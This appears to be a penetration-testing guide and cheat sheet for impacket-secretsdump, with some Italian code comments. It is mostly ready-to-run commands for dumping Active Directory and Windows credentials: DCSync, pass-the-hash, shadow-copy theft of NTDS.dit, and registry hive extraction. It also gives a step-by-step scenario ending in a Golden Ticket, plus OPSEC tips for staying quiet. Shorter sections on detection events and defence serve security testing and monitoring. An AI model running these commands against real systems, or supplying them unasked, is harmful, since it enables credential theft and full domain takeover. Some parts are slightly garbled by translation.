impacket-secretsdump: Dump Windows Hashes and Credentials

impacket-secretsdump: A Guide to Dumping Windows and Active Directory Credentials #

impacket-secretsdump Extracts credentials from Windows systems—NTLM hashes, Kerberos AES keys, LSA secrets, cached credentials, password history—without running any agents or binaries on the target. It operates via SMB, WMI, and the AD replication protocol (DRSUAPI) using only valid credentials.

secretsdump.py (distributed as impacket-secretsdump on Kali) is part of the framework PacketIt is the most widely used remote credential dumping tool in Windows pentests because it does not require any tool uploads to the target—everything happens over standard network protocols, using the compromised account credentials.

secretsdump uses three distinct mechanisms: DCSync via DRSUAPI, Volume Shadow Copy, and remote registry reading. The choice of mechanism depends on the target type (DC vs. workstation) and the available privileges.

Cheat Sheet — Main Commands #

Strong #

# Password in chiaro
impacket-secretsdump corp.local/administrator:Password123!@<TARGET>

# Pass-the-Hash
impacket-secretsdump -hashes :NThash corp.local/administrator@<TARGET>

# Kerberos (con ticket in memoria)
export KRB5CCNAME=administrator.ccache
impacket-secretsdump -k -no-pass corp.local/administrator@DC01.corp.local

# Pass-the-Hash con LM hash esplicito (raro, LM quasi sempre disabilitato)
impacket-secretsdump -hashes LMhash:NThash corp.local/administrator@<TARGET>

DCSync — Entire Domain Dump #

The primary method against a Domain Controller. It does not require local access to the DC; it uses the DRSUAPI replication protocol over the network. It requires permissions. DS-Replication-Get-Changes e DS-Replication-Get-Changes-All.

# Dump completo via DCSync (NTLM + AES keys + password history)
impacket-secretsdump corp.local/administrator:Password123!@<DC_IP> -just-dc

# Solo hash NTLM — più veloce, output più pulito
impacket-secretsdump corp.local/administrator:Password123!@<DC_IP> -just-dc-ntlm

# Utente specifico — meno rumore, ottimo per krbtgt o Administrator
impacket-secretsdump corp.local/administrator:Password123!@<DC_IP> -just-dc-user krbtgt
impacket-secretsdump corp.local/administrator:Password123!@<DC_IP> -just-dc-user administrator

# Include password history (tutte le versioni precedenti degli hash)
impacket-secretsdump corp.local/administrator:Password123!@<DC_IP> -just-dc -history

# Salva output su file
impacket-secretsdump corp.local/administrator:Password123!@<DC_IP> -just-dc -outputfile domain_hashes
# → genera domain_hashes.ntds e domain_hashes.ntds.kerberos

# Specifica DC per hostname invece di IP
impacket-secretsdump corp.local/administrator:Password123!@DC01.corp.local -just-dc -dc-ip <DC_IP>

DCSync Output:

corp.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c:::
corp.local\krbtgt:502:aad3b435b51404eeaad3b435b51404ee:d3c02561d2fcb18e26f2a5b4e69f7:::
corp.local\svc_mssql:1103:aad3b435b51404eeaad3b435b51404ee:e3d560571d57477ac4b23c380f5d185a:::

Format: username:RID:LMhash:NThash:::

VSS — Volume Shadow Copy #

Alternative to DCSync for getting NTDS.dit. Creates a disk shadow copy, copies locked files, downloads them, and analyzes them locally. More invasive (runs commands on the DC) but useful when DRSUAPI is blocked.

# Forza VSS invece di DRSUAPI
impacket-secretsdump corp.local/administrator:Password123!@<DC_IP> -use-vss

# Specifica il metodo di esecuzione dei comandi sul DC (default: smbexec)
impacket-secretsdump corp.local/administrator:Password123!@<DC_IP> -use-vss -exec-method wmiexec
impacket-secretsdump corp.local/administrator:Password123!@<DC_IP> -use-vss -exec-method mmcexec

# VSS solo su DC (combina dump NTDS + SAM + LSA)
impacket-secretsdump corp.local/administrator:Password123!@<DC_IP> -use-vss -just-dc

Remote Registry — SAM, LSA, Cached Credentials #

On non-DC machines (workstations, servers), the default method reads SAM and SECURITY hives via the remote registry. It extracts local hashes, LSA secrets, DPAPI keys, and cached credentials (DCC2).

# Dump completo su workstation (SAM + LSA + cached creds)
impacket-secretsdump corp.local/administrator:Password123!@<WORKSTATION_IP>

# Solo SAM (hash account locali)
impacket-secretsdump corp.local/administrator:Password123!@<WORKSTATION_IP> -sam

# Solo LSA secrets (service account password, autologon, ecc.)
impacket-secretsdump corp.local/administrator:Password123!@<WORKSTATION_IP> -security

Output on workstation:

[*] Target system bootKey: 0x3c2b033757a49110a9ee680b46e8d620
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Dumping LSA Secrets
[*] $MACHINE.ACC — hash del computer account
[*] DPAPI_SYSTEM — chiavi DPAPI di sistema
[*] DefaultPassword — password autologon se configurata
[*] Dumping cached domain logon information (domain/username:hash)
CORP/john.doe:$DCC2$10240#john.doe#...

Offline Parsing — Files Already Extracted #

When you already have the files (NTDS.dit, SAM, SYSTEM, SECURITY) extracted by another technique (manual VSS, Volume Shadow Copy, backup):

# Parsing NTDS.dit offline (il metodo più comune)
impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL

# Include password history
impacket-secretsdump -ntds ntds.dit -system SYSTEM -history LOCAL

# Parsing SAM + SECURITY offline (hash locali + LSA secrets)
impacket-secretsdump -sam SAM -system SYSTEM -security SECURITY LOCAL

# Solo SAM
impacket-secretsdump -sam SAM -system SYSTEM LOCAL

To extract files on Windows before taking them offline:

# Estrai hive di registro (richiede SYSTEM privileges)
reg save HKLM\SYSTEM C:\temp\SYSTEM
reg save HKLM\SAM C:\temp\SAM
reg save HKLM\SECURITY C:\temp\SECURITY

# NTDS.dit via Volume Shadow Copy (su DC)
vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\temp\ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\temp\SYSTEM

Alternative: NetExec #

NetExec offers a simpler interface for DCSync with the same result:

# DCSync con password
nxc smb <DC_IP> -u administrator -p Password123! --ntds

# DCSync con Pass-the-Hash
nxc smb <DC_IP> -u administrator -H :NThash --ntds

# Solo utente specifico
nxc smb <DC_IP> -u administrator -p Password123! --ntds --users krbtgt

Real-World Scenario: From AD User to Full Domain Dump #

You have compromised an account with DCSync rights (identified via BloodHound ):

# 1. Dump selettivo — prima krbtgt e administrator per il massimo impatto
impacket-secretsdump corp.local/svc_backup:Password123!@DC01.corp.local \
  -just-dc-user krbtgt -outputfile krbtgt

impacket-secretsdump corp.local/svc_backup:Password123!@DC01.corp.local \
  -just-dc-user administrator -outputfile admin

# 2. Dump completo del dominio in background
impacket-secretsdump corp.local/svc_backup:Password123!@DC01.corp.local \
  -just-dc -outputfile full_domain_dump

# 3. Con l'hash di krbtgt → Golden Ticket per persistenza
# Con l'hash di Administrator → PTH su tutto il dominio

Filter the Output #

The output of a complete dump can contain thousands of lines. Useful commands for filtering:

# Estrai solo gli NT hash (quarta colonna) per hashcat
cat domain_hashes.ntds | cut -d: -f4 > nt_hashes.txt

# Trova account abilitati (Enabled=True nell'output)
grep "Enabled=True" domain_hashes.ntds | cut -d: -f1,4

# Filtra account specifici
grep "administrator\|krbtgt\|svc_" domain_hashes.ntds

# Conta gli hash unici (per statistiche)
cat domain_hashes.ntds | cut -d: -f4 | sort -u | wc -l

OPSEC #

• DCSync via DRSUAPI generates Event ID 4662 on the DC — access to the domain object with replication rights. This is detectable if auditing is enabled.
• VSS method executes commands on DC (vssadmin) — noisier than DRSUAPI, generates more events
• The remote registry method on workstation starts the service RemoteRegistry if it is not already active — a service starting suddenly is a sign
• Usa -just-dc-user to dump only the necessary accounts instead of the entire domain — less noise, less data transmitted over the network
• Always save output to file with -outputfile — allows offline analysis without re-dumping

Detection #

🔴 HIGH:

• Event ID 4662 — access to the domain object with rights DS-Replication-Get-Changes-All from a non-DC account
• Event ID 4688 — execution of vssadmin create shadow on DC (VSS method)
• RPC connections to port 135 + DC dynamic ports from non-DC hosts

🟡 MEDIUM:

• Starting the service RemoteRegistry on workstations that don't normally use it
• Access to the routes ADMIN$ + C$ followed immediately by file creation in Windows\Temp

FAQ #

What is the difference between -just-dc and without flag on a DC? Without flags on a DC, secretsdump tries the remote registry (SAM + LSA) first and then tries NTDS via VSS. -just-dc uses DRSUAPI (DCSync) exclusively — quieter and more reliable on DC.

Does DCSync also work with NTLM hashes instead of passwords? Yup: impacket-secretsdump -hashes :NThash corp.local/user@<DC_IP> -just-dc

Why the LM hash is always aad3b435b51404eeaad3b435b51404ee? This is the LM hash value of an empty string—indicating that LM hash is disabled (default since Windows Vista). Only the NT hash is relevant for Pass-the-Hash.

Conclusion #

impacket-secretsdump is the most straightforward tool for extracting credentials in an AD pentest: no agents, no binaries on the target, no AV to bypass—just authenticated Windows protocols. With DCSync, all you need is an account with replication rights to obtain all domain hashes in seconds.

Effective defense requires monitoring for Event IDs 4662 and 4688, and a review of replication permissions — checking with blood hound which non-DC accounts have DS-Replication-Get-Changes-All.

Resources:

• Package GitHub
• HackTricks – secretsdump